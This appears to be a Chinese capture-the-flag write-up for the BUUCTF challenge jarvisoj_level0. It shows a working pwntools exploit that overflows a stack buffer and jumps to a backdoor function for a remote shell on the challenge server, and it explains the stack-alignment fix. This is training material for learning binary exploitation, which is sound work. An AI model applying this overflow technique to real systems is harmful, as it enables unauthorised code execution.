BUUCTF jarvisoj_level0 1

目录

一、分析

查看文件信息

关键信息

  • 64位程序
  • 栈不可执行

IDA64反汇编

进入第一个函数

栈溢出
shift + F12查找字符串

点进去

发现是一个后门函数

二、EXP

csharp 复制代码
from pwn import *

context.arch = 'amd64'
# p = process("/tmp/pwn/level0")
p = remote("node4.buuoj.cn",28644)
elf = ELF("/tmp/pwn/level0")
callsystem = elf.symbols['callsystem']
p.sendline(flat([b"a"*128, 'a'*8, callsystem]))

p.interactive()

三、本地打不通?远程能打通?

修改代码处

csharp 复制代码
p.sendline(flat([b"a"*128, 'a'*8, callsystem + 1]))

为什么地址地址 + 1就可以执行了呢?

👉参考该文章

64位ubuntu18以上系统调用system函数时是需要栈对齐的。再具体一点就是64位下system函数有个movaps指令,这个指令要求内存地址必须16字节对齐

跳过了push rbp之后,rsp就少压栈了8字节,此时栈16位对齐

相关推荐
TechWayfarer1 天前
账号安全实战:基于IP归属地基线的三原则异地登录风控模型
服务器·网络·python·安全·网络安全
2301_780789661 天前
多层级 CC 防护体系:前端验证与后端限流的协同配置实践
运维·服务器·前端·网络安全·智能路由器·状态模式
梧六柒1 天前
6-大小写绕过
网络安全
X7x51 天前
终端安全管理(ESM):企业安全的“数字神经中枢“
网络安全·网络攻击模型·安全威胁分析·安全架构·esm
梧六柒2 天前
5-.点+空格+点绕过 || .user.ini绕过
网络安全
pencek2 天前
HakcMyVM-Slackware
网络安全
X7x52 天前
终端防护平台(EPP):企业安全的“数字护城河“
网络安全·网络攻击模型·安全威胁分析·安全架构·epp
汤愈韬2 天前
防火墙主备备份的非VRRP的三种模式
网络·网络安全·security
Chockmans2 天前
春秋云境CVE-2022-32991(手注和sqlmap)保姆级教学
数据库·安全·web安全·网络安全·oracle·春秋云境·cve-2022-32991
yv_302 天前
CTFShow-XXE
ctf·ctfshow·xxe漏洞